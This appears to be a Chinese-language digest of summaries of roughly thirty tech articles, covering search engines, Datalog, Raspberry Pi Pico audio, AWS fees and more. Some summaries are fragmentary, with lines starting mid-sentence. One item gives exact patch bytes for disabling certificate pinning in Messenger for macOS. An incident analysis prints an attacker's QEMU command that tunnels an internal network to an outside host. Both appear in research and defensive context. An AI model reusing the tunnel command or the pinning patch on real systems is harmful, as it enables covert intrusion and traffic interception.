31 篇热帖
搜索引擎的构建充满挑战，需处理海量数据、理解复杂查询，并持续演进以满足用户期望。在 AI 生成内容日益泛滥的时代，确保搜索结果的可靠性尤为重要。
Kagi 致力于提供最准确、可靠的搜索体验。其核心理念是用 AI 增强（而非创造）搜索结果，且仅在用户明确请求时启用。为保证质量，Kagi 会自动降低广告和追踪页面的排名（这类页面常与低质量或机器生成内容关联）。其个性化功能允许用户按偏好定制搜索流，并通过“Small Web”计划推广个人博客和网站的高质量原创内容。
为进一步提升搜索能力并解决 AI 生成答案可能带来的误导问题，Kagi 与知名计算知识引擎 Wolfram|Alpha 达成合作。通过将 Wolfram|Alpha 广泛的知识库和强大算法整合至 Kagi 平台，旨在为用户提供更精确、可靠、全面的搜索结果。这一合作标志着 Kagi 在构建可信赖搜索引擎方面的重要进展。
同时，Stephen Wolfram 加入了 Kagi 顾问委员会。他拥有丰富的创业经验（Wolfram Research 成立于 1987 年），将公司发展至千人规模，并深耕教育领域多年，其见解将为 Kagi 的下一步发展提供重要指导。
这些功能计划集成到 Orion 浏览器中，并开放给其他浏览器实现。
作者为了解决在手机上浏览旧iMessage对话体验不佳（如加载慢、无法跳转日期）的问题，构思了一个方案：将自己的三年iMessage对话记录自动生成为一套实体书籍，以便能像翻书一样轻松回顾过去的对话。
sms.db。其具体路径基于备份目录结构和一个已知的文件名哈希值（3d0d7e5fb2ce288813306e4d4636395e047a3d28）。message.text字段中，而是以NSMutableAttributedString的二进制格式存储在message.attributedBody字段里。imessage-database Rust库。该库能解析上述复杂的iMessage数据库格式，并输出结构化的数据。XeLaTeX引擎，并借助Google的Noto Emoji黑白字体包，成功在生成的书籍中内联显示了表情符号。项目的源代码（虽然未打包成易用的二进制文件）已公开在GitHub上，供他人参考或尝试复制此过程。
本文分析了如何通过二进制补丁绕过Meta Messenger macOS应用程序的证书固定机制，以便使用中间人代理分析其网络请求。
采用二进制补丁修改可执行文件，便于分发给团队成员。
/Applications/Messenger.app/Content/MacOS/Messenger 获取ARM架构的可执行文件。"SSL pinning verification failed for host:" 和 "Using custom sandbox -> turn off SSL verification"。IsUsingSandbox() 函数，其返回值控制证书固定。原始代码通过加载字节指令设置寄存器 w19 的值。ldrb w19, [sp, #0x40 + var_20]，十六进制 F3 83 40 39）替换为直接设置 w19 为1的指令（mov w19, #1，十六进制 33 00 80 52）。这强制 IsUsingSandbox() 始终返回 true，从而禁用证书固定。codesign 工具重新签名后使用。仅修改4个字节（原文件共97,477,728字节），即可成功拦截并查看所有请求的头信息和响应体。该方法已成功应用于团队协作环境。
文中提及2020年Hassan Mostafa在越狱iPhone上通过翻转条件分支指令破解Instagram证书固定的类似案例，表明该思路在不同平台均具可行性。
核心信息
对开发者的影响与操作指南
环境搭建与测试：
开始 > 所有应用 > Windows Subsystem for Android™调整WSA设置。adb connect 127.0.0.1:58526命令连接至WSA虚拟机进行调试。应用兼容性优化要点：
onStop而非onPause或onUserLeaveHint事件。性能与构建：
系统集成与安全：
com.microsoft.windows.LAUNCH_URI）手动启动Windows应用。SECURITY_LEVEL_SW_SECURE_CRYPTO。其他说明
文章标题： Embedded Swift on the Raspberry Pi Pico/RP2040 without the Pico SDK
核心内容概述： 本文介绍了一种在树莓派 Pico（RP2040 芯片）上运行嵌入式 Swift 的创新方法，其核心是完全绕过了官方 Pico SDK，使用一个轻量级的自制工具链，直接生成纯 Swift 可执行文件。
主要技术要点：
本文回应Hillel Wayne关于编程语言缺乏图形数据类型支持的文章。作者认为核心问题不在于图形本身的复杂性，而在于现代编程语言的命令式/结构化编程模型不适合图算法。在命令式语言中，开发者必须预先选择图的显式表示（如邻接表或邻接矩阵），这使得算法与具体表示强耦合，当性能不佳时难以更改。
作者提出的解决方案是使用声明式编程语言，其中Datalog是一个理想选择。Datalog的语义基于1970年代发明的关系代数，能够极其自然地表达图算法。
在Datalog中，图被自然地编码为边关系（一个边的集合）。图算法（如计算可达性）通过在该关系上进行递归连接来声明式地表达。文章以一个计算图传递闭包的Datalog程序为例，展示了如何仅用几行代码定义“路径”关系，并通过规则的不断应用直至达到不动点，来计算出图中所有点对之间的路径存在性。该方法易于扩展，例如支持无向图或带权图的最短路径计算。
尽管可能认为手写的命令式算法性能更优，但事实表明，使用Datalog实现的程序分析框架（如Doop和Egglog）通常比用Java或Rust手写的对应版本性能高出一个数量级。这是因为数据库引擎拥有数十年的数据表示和查询优化研究积累。Datalog引擎能够根据图的结构特征（如稀疏性、密度）自动选择最高效的表示（如使用索引、选择哈希连接或归并连接），并能随着数据变化自适应调整策略，而无需程序员手动优化。
然而，Datalog的主要缺点在于其相对小众，对习惯命令式编程的开发者而言学习曲线较陡峭，且编写和理解大型Datalog程序可能较难。近年来，有研究致力于将Datalog与传统语言融合以降低使用门槛，例如：
总结而言，图形的数据模型（关系）和代数基础早在1970年代就已发明。近年来，Datalog在程序分析领域的应用、连接算法（如WCOJ）的进展以及增量视图维护（DBSP）等新技术的发展，为其融入主流编程语言带来了新的希望。作者认为，未来编程语言有望深度集成Datalog，从而为图算法提供强大、高效且声明式的内置支持。
谷歌近期宣布多项措施以提升搜索结果质量，重点打击低质量及垃圾内容。
一、算法改进与效果
二、新增及改进的垃圾政策 谷歌更新垃圾政策，以应对导致低质量、非原创内容出现的新滥用行为。主要针对以下三种情况：
三、总结 谷歌表示将持续努力，维持搜索结果中的低质量内容处于较低水平，并为用户展示更多真正有益的信息。
本文以1980年的纸面电脑游戏《王牌飞行员》为例，探讨了数学在游戏设计中的核心作用。该游戏是一款双人第一次世界大战空战模拟，使用两本配对的书本实现复杂的飞行模拟，比电子游戏《德军总部3D》早11年。
文章首先将早期可编程设备（如1770年的自动玩偶、差分机）与《王牌飞行员》类比，指出它们都是特定算法的物理实现。游戏本质上是编码算法的载体，而算法可分解为基本数学运算。棋盘游戏常通过骰子（随机数）、棋子状态（积分计算）、查表（如《卡坦岛》的资源交易比率）等方式隐含数学逻辑。
该游戏通过两本配对书实现：每本书以第一人称视角显示敌机相对位置，每页列出可选机动及对应的翻页指令。关键特性包括：
游戏底层采用六角格系统，但并非传统地图的绝对坐标，而是相对坐标系：
核心数学特性为变换矩阵的可交换性：若敌我机动变换分别为A和G，则最终相对位置满足AGA = GAG。这使得双方按任意顺序执行机动后，始终能到达相同的相对视角页面。
作者通过Unity引擎和C#编程复现了书本生成逻辑：
文章进一步展示了该原理的扩展可能性：
该案例证明，深入理解数学原理能帮助设计师创建简洁而深度的游戏系统，并将计算机逻辑转化为物理或纸质媒介的创新交互形式。
Pikachu Volleyball（対戦ぴかちゅ～ ビーチバレー編）是一款1997年发布的经典Windows游戏，原开发者为"(C) SACHI SOFT / SAWAYAKAN Programmers"和"(C) Satoshi Takenouchi"。本仓库通过逆向工程原版游戏的核心机器码，使用JavaScript重新实现了其物理引擎和AI部分。
如何游玩
您可以直接在网站 https://gorisanson.github.io/pikachu-volleyball/en/ 上在线游玩。若要在本地运行，需克隆仓库、安装依赖、打包代码并启动本地服务器，然后通过浏览器连接（通常为 http://localhost:8080）。
游戏结构
src/resources/js/physics.js 文件。该文件通过逆向工程原版游戏机器码地址 00403dd0 处的函数而得，负责计算球和宝可梦（玩家）的位置，并决定电脑玩家的键盘输入。src/resources/js/main.js 文件的注释。逆向工程方法 主要使用了以下工具：
与原版游戏的有意差异 在无键盘输入时，游戏会进入AI对战模式。与原版约40秒的时间限制不同，本JavaScript版本的AI对战没有时间限制，玩家可以无限观看。
本文介绍了创业公司 Reka 从零开始训练大型语言与多模态模型的经验与挑战。
硬件“彩票”与基础设施不稳定 训练模型的第一步是获取计算资源，但挑战远超预期。硬件提供商的算力集群质量差异巨大，如同“彩票”——即使是相同的GPU（如H100），不同集群的稳定性、I/O性能、文件系统和支持服务也天差地别。这导致故障频发、检查点保存超时、资源利用率（MFU）低下等问题，且难以提前预知。为此，Reka不得不投入大量精力开发监控、高效检查点保存及自定义文件系统等工具来应对。
GPU与TPU的对比 作者此前在Google主要使用TPU，认为其分布式训练更成熟、故障率低。转向GPU后，感受是多节点训练更像“事后补充”，不同供应商的接线方式各异，导致体验不一。作者认为，硬件故障率的差异可能更多源于管理团队的能力而非芯片本身。
多集群管理的困境 与Google内部统一的基础设施（Borg、Colossus等）不同，创业公司因供应紧张往往需要整合多个地理分散的集群。迁移数据、设置环境带来巨大开销，而构建成熟的编排调度层对初创公司不现实。Reka只能开发内部工作流来缓解，逐步向理想的实验基础设施迈进。
外部代码库的质量差距 Reka选择了团队更熟悉且流行的PyTorch，而非作者个人偏爱但已不对外维护的Google内部框架（如T5X）。作者坦言，外部代码库的质量与Google内部由顶尖ML研究者编写的代码相比有明显差距，功能上也缺乏对大规模编码器-解码器或前缀LM训练的原生支持。
资源有限下的训练策略 由于无法像大公司那样进行大规模、系统性的超参数扫描（例如从1B到300B的渐进式测试），Reka在有限的算力下采用了更依赖经验、直觉和“YOLO”（大胆尝试）的策略。团队凭借过往经验缩小搜索空间，通过相对较少的试错成功训练出Reka Flash（21B）等模型。
总结 作者回顾了这段充满挑战的“荒野求生”经历。计算资源稀缺与不可靠是超出预期的主要障碍，但团队凭借技术实力克服了困难，在不到一年时间内，从零构建基础设施，成功训练出可媲美Gemini Pro/GPT-3.5等的模型。文章最后指出，数据管道、人工评估等更多话题将在后续讨论。
网络攻击者倾向于使用合法工具执行攻击步骤，以规避检测并降低开发成本。建立网络隧道或转发端口是其中一种常用技术，用于绕过NAT和防火墙，访问受攻击组织的内部网络。在近年来的网络安全事件中，攻击者频繁使用多种隧道工具，如ngrok、FRP等，约占攻击总数的10%。
在一次针对大型公司的事件调查中，安全研究人员发现攻击者部署并启动了Angry IP Scanner（网络扫描工具）、mimikatz（凭据提取工具）以及QEMU硬件模拟器。分析受感染机器的内存发现，QEMU的启动命令行非常特殊：
qemu-system-i386.exe -m 1M -netdev user,id=lan,restrict=off -netdev socket,id=sock,connect=<IP>:443 -netdev hubport,id=port-lan,hubid=0,netdev=lan -netdev hubport,id=port-sock,hubid=0,netdev=sock -nographic
关键参数解析：
-m 1M：分配仅1MB内存，远低于运行操作系统所需，表明QEMU并非用于常规虚拟化。-netdev user,id=lan,restrict=off：创建用户态网络后端lan，允许虚拟机通过宿主机的网络栈与外部通信，并取消连接限制。-netdev socket,id=sock,connect=<IP>:443：创建套接字型网络后端sock，连接至攻击者控制的外部IP的443端口。-netdev hubport：将两个网络后端（lan和sock）连接到同一个虚拟交换机（hubid=0），使流量在两者间桥接。-nographic：无图形界面启动。此配置的本质是利用QEMU的网络后端功能在受感染主机（PivotHost）与攻击者服务器之间建立一个二层网络隧道。攻击者无需在受感染系统上加载操作系统镜像，仅用QEMU创建一个虚拟网络环境，即可将受感染主机所在的内部网络流量隧道转发至攻击者控制的服务器。
验证实验： 研究人员搭建了测试环境，模拟攻击链：
实验步骤：
流量分析： QEMU在隧道中传输数据时不进行加密。传输的是封装的原始以太网帧，其结构为：4字节帧长度字段 + 以太网帧本身。因此，通过抓取PivotHost上的流量并移除外层封装（TCP/IP头及长度字段），即可提取出隧道内的原始流量。
结论与防护： 攻击者创新性地将QEMU这一合法虚拟化工具用于建立隐蔽的网络隧道，这对传统防御体系提出了挑战。有效的防护需要多层次的综合安全方案，包括：
安全厂商已将此类可疑QEMU活动纳入检测范围（如Backdoor.Agent.QEMU.C&C规则），以实现在攻击初期的及时阻断。
这篇文章描述了作者网站（Wandering Thoughts 和 CSpace）因频繁遭遇滥用爬虫而实施的反爬虫防护措施。防护机制主要基于检测浏览器发送的 Sec-CH-UA-* HTTP 请求头（即用户代理客户端提示）的不一致性。
核心原因：
当前存在大量伪造 User-Agent 的滥用爬虫（部分用于 LLM 训练数据收集）。当浏览器声明自身为 Chrome 等应正确发送客户端提示的浏览器，但实际发送的 Sec-CH-UA-Platform 和 Sec-CH-UA 等头部信息却与声明不符时，访问请求将被阻止。
被标记为可疑的具体情况包括：
Sec-CH-UA 头（即使因隐私扩展禁用，也可能因爬虫冒充而被拦截）。Sec-CH-UA-Platform 值与浏览器 User-Agent 中的平台信息不匹配。Sec-CH-UA 头中的品牌版本号与浏览器 User-Agent 中的版本信息（如 Chrome/ 版本）不匹配。Sec-CH-UA 头显示为无头 Chrome（headless Chrome），因其被大量爬虫使用。误判处理： 若访问者使用当前版本的正规浏览器但仍被阻止，可通过作者提供的大学联系方式进行反馈，需说明浏览器信息及 User-Agent 字符串。作者明确表示不会为伪装成 Chrome 且 User-Agent 难以区分的软件提供豁免，对不愿承认自身行为的爬虫软件不再提供帮助。
建议：
用户可使用 Chrome 开发者工具检查浏览器实际发送的 Sec-CH-UA 头信息以排查问题。
pg_vectorize 是一个基于 PostgreSQL 的向量数据库解决方案，其核心功能是自动化地将文本转换为向量嵌入，并集成主流的大语言模型。该项目旨在简化在 Postgres 上构建向量搜索、全文搜索和混合搜索的工作流程，从而帮助用户快速实现检索增强生成（RAG） 和搜索引擎应用。
项目主要依赖 pgvector（进行向量相似性搜索）、pgmq（用于后台工作者编排）和 SentenceTransformers。
pg_vectorize 提供两种将语义、全文和混合搜索集成到任何 PostgreSQL 数据库的方式：
HTTP 服务器模式（推荐用于托管数据库）
POST /api/v1/table（创建嵌入作业）、GET /api/v1/search（执行搜索）。pgvector 扩展。Postgres 扩展模式（SQL 方式）
vectorize.table() 和 vectorize.search()）提供数据库内体验和直接 API。vectorize.table() 或 HTTP API 创建作业，该项目会自动生成现有数据的嵌入向量，并持续监控表的更新或新增数据，确保嵌入同步更新。docker compose up -d 启动包含 Postgres、嵌入服务器和管理 API 的所有服务。/api/v1/table 端点发送 POST 请求来创建一个嵌入作业，指定源表、列、主键、更新时间列以及使用的嵌入模型。/api/v1/search 端点发送 GET 请求进行搜索，传入作业名称和查询字符串。响应将返回匹配结果及其相关性分数。AWS宣布免除客户在迁出AWS时数据传输到互联网（DTO）的费用。此举旨在支持客户选择自由，包括将数据迁移到其他云提供商或本地环境。政策适用于全球所有AWS客户，遵循欧洲数据法案的方向。
当前，超过90%的AWS客户已无数据传输费用，因为AWS每月提供100GB免费数据传输，覆盖从AWS区域到互联网的流量，包括Amazon EC2、Amazon S3、Application Load Balancer等服务。此外，Amazon CloudFront每月提供1TB免费数据传输。
当客户迁移数据时，需联系AWS Support申请免费DTO费率。申请在AWS账户级别审查，一旦批准，将为迁移数据提供信用额度。客户无需关闭账户或改变与AWS的关系，可随时返回。若同一账户多次申请，将进行额外审查。
更新内容：符合条件的客户有90天完成迁移；如需更多时间，须立即通知AWS支持。欧盟客户根据欧盟数据法案切换的，需查看AWS欧盟数据法案附录的标准和流程。此外，申请支持时已移除每月超过100GB数据传输量的要求。
AWS强调客户选择自由，并支持公平软件许可原则，便于与其他IT提供商使用软件。
标题： Tell HN: "Default" FileZilla download bundled with adware
内容摘要：
FileZilla官方网站显示其结构包括多个关键部分，如主页、特性、截图、下载、文档、FileZilla专业版、RemoteDriveFileZilla服务器、下载社区、论坛、维基、常见问题、支持、联系、许可、隐私政策、商标政策、开发、源代码、每日构建、翻译、版本历史、更改日志、问题跟踪器以及其他项目（如libfilezilla和Octochess）。网站设有赞助商和推广区域，但具体细节未在内容中明确。
根据标题，有用户报告FileZilla的默认下载版本捆绑了广告软件（adware），提醒用户注意下载时可能存在不需要的软件。网站内容主要展示了FileZilla的功能和支持资源，但未直接涉及广告软件捆绑问题。关键点包括：
整体上，内容侧重于网站布局，而标题突出了下载版本的安全性问题。
树莓派Pico是一款优秀的嵌入式开发芯片，具备耐用的硬件和智能功能（如驱动GPIO的状态机）。其连接性问题已由W变体解决，数据手册详尽，且得到MicroPython和C SDK的良好支持，尽管C SDK的构建系统存在不必要的复杂性。
Pico的GPIO可通过PWM（脉宽调制）功能输出方波，例如生成400Hz的方波声音。但方波音质较差。要播放复杂波形（如WAV文件），需要输出不同电压电平，这通常需要DAC。然而，Pico可通过PWM的占空比技巧模拟不同电压：
ffmpeg -i ohno.wav -ar 24000 -acodec pcm_u8 -f u8 output.raw
mpremote将原始文件上传到Pico：mpremote cp output.raw :
from machine import Pin, PWM
pwm = PWM(Pin(1))
pwm.freq(100000)
f = open("output.raw", "rb")
buf = bytearray(4096)
while f.readinto(buf) > 0:
for sample in buf:
pwm.duty_u16(sample << 8)
# 添加延迟循环以匹配采样率
for _ in range(5): pass # 根据实际速度调整
f.close()
通过数学计算生成正弦波数据，并循环输出：
import math
wave = []
wave_samples = 40
for i in range(wave_samples):
x = i / wave_samples * 3.14 * 2
dc = int((1 + math.sin(x)) * 65000)
wave.append(dc)
for _ in range(1000):
for dc in wave:
pwm.duty_u16(dc)
树莓派Pico利用PWM占空比调制，在无需额外DAC的情况下实现了音频播放。该方法依赖快速PWM输出和精确的样本序列控制，适用于资源受限的嵌入式项目，但需注意采样率同步和计算资源占用问题。
Chrome 团队致力于通过共享字典进一步提升网页压缩效率，这为 Brotli 和 ZStandard 算法提供了强大补充，尤其适用于频繁更新代码的网站，有时能实现高达 90% 以上的压缩率。
压缩技术的演进与字典的作用 网页压缩（如 gzip、Brotli、ZStandard）通过减少资源大小来加速加载。Brotli 和 ZStandard 可以利用外部压缩字典（包含特定模式）来提升压缩效果。定制字典，特别是基于旧版本资源的字典，可通过“差异压缩”大幅减少新版本资源的大小。例如，使用 Angular 1.7.9 作为字典压缩 1.8.3 版本，能将压缩率从约 70% 提升至近 98%。
共享字典的工作机制
为了在网页中安全使用字典压缩，Chrome 实现了共享字典方案。浏览器通过 Accept-Encoding 请求头（如 br-d, zstd-d）通知服务器其支持字典压缩，并附带本地字典的哈希值（Available-Dictionary 头）。
Use-As-Dictionary 头（包含 match URL 模式）来指定其可用作未来版本资源的字典。当浏览器请求匹配的后续资源时，会携带可用的字典哈希，服务器即可用该字典进行压缩。<link rel="dictionary"> 元素预先加载。字典资源本身需配置 Use-As-Dictionary 头以指定其适用的动态资源路径。之后流程与静态资源类似。实际应用与尝试
chrome://flags 中启用实验性功能，或为生产网站注册 Origin Trial 获取令牌。这项技术有望显著提升高频更新且拥有大量回访用户的网站加载性能。
埃森哲收购Udacity以构建AI学习平台
埃森哲（Accenture）宣布将收购在线学习平台Udacity，旨在创建一个专注于人工智能（AI）技能培养的学习平台。公司同时宣布将投资10亿美元打造名为“LearnVantage”的技术学习平台。
埃森哲特别强调将提供AI相关培训，以帮助员工掌握云、数据和AI技能。埃森哲LearnVantage全球负责人Kishore Durg表示，生成式AI的兴起正在改变工作方式，企业迫切需要对员工进行培训和技能提升。
Udacity成立于2011年，累计融资近3亿美元，在2015年估值达到10亿美元。但据传闻，其今年早些时候与印度教育科技公司Upgrad的收购谈判未果，要价约为8000万美元。若该传闻属实，其估值已大幅缩水。最终Udacity被埃森哲收购，具体交易金额未披露。
Udacity方面表示，加入埃森哲后将能触达更多用户并帮助他们获得技能。该交易仍需通过监管审查和反垄断审查。
本文系统介绍了在 d 维球面和 d 维球内部进行均匀随机采样的二十余种方法，涵盖了从一维圆到任意高维空间的情况。
针对较低维度（如二维圆、圆盘、三维球面与球体），存在许多直观、高效的特定方法。
在圆（1-球面）上采样：
在圆盘（2-球）内部采样：
在三维球面上采样：
在三维球体内部采样：
当维度 d 较高时，专用方法可能难以推广，通常使用以下通用方法：
Cell 是一种高级可嵌入编程语言，旨在解决常规语言难以实现的特定类型软件系统，提升开发抽象层次，并自动提供诸多功能，减少低层、易出错的繁琐编程。Cell 补充并集成主流开发语言（如 C++、Java、C#），实现的组件可自动转换为易用类并无缝集成到现有代码库。目前已支持主要的编程语言，未来会扩展更多语言支持。
主要应用领域：
持久化系统（Persistent Systems）
Cell 针对具有复杂状态或数据模型且需持久化的软件系统，提供“关系自动机”（relational automata）这一新型软件构件。其主要特点包括：
关系自动机适用于管理桌面、移动及嵌入式应用的持久数据，较嵌入式 SQL 数据库具备更优的数据模型和类型系统，速度更快、内存占用更低、存储控制更灵活、可编程性更强，且与主机语言集成无需对象/关系映射。
响应式系统（Reactive Systems）
Cell 用“响应式自动机”（reactive automata）解决多异步数据源和事件源触发状态变更的复杂反应问题，如用户输入、传感器读数、远端数据、游戏内事件等。其主要优势包括：
相较传统线程、观察者、回调和定时器方式，Cell 声明式模型能显著简化、提升系统健壮性和开发效率。
分布式系统（Distributed Systems）
Cell 的长期目标是支持分布式应用组件多节点复制、并发更新下的自动持久化与同步。具体措施包括：
此能力依赖 Cell 特有的正交持久化，以及程序执行“回溯与重放”。
其他说明：
Cell 通过自动生成高度集成且高效的代码，以及创新的软件构件模型，辅助开发者解决持久化、响应式与分布式应用的核心难题。
美国医疗保健巨头Change Healthcare疑似向BlackCat勒索软件组织（又名“ALPHV”）支付了2200万美元赎金。此次网络攻击导致全美处方药服务中断数周，公司正努力恢复系统。
JEDEC固态技术协会于2024年3月5日发布了JESD239 GDDR7 SGRAM图形内存标准。该标准旨在满足图形、游戏、计算、网络及人工智能应用对内存带宽日益增长的需求，可免费从JEDEC官网下载。
GDDR7的核心创新是采用脉冲幅度调制（PAM3）接口，这是首个应用PAM接口的JEDEC标准DRAM。PAM3使用三个电平（+1, 0, -1）在两个周期传输3比特数据，相比传统NRZ接口在同期传输2比特，显著提高了数据传输率和信号完整性，同时提升了能效。其带宽较GDDR6提升一倍，每设备可达192 GB/s。
主要技术特性包括：
JEDEC董事会主席Mian Quddus表示，GDDR7标志着高速内存设计的重大进步，PAM3信号技术为GDDR设备性能提升开辟了新路径。GDDR小组委员会主席Michael Litt强调，GDDR7不仅提升带宽，还通过RAS特性支持云游戏、计算及人工智能等新兴应用。
行业支持：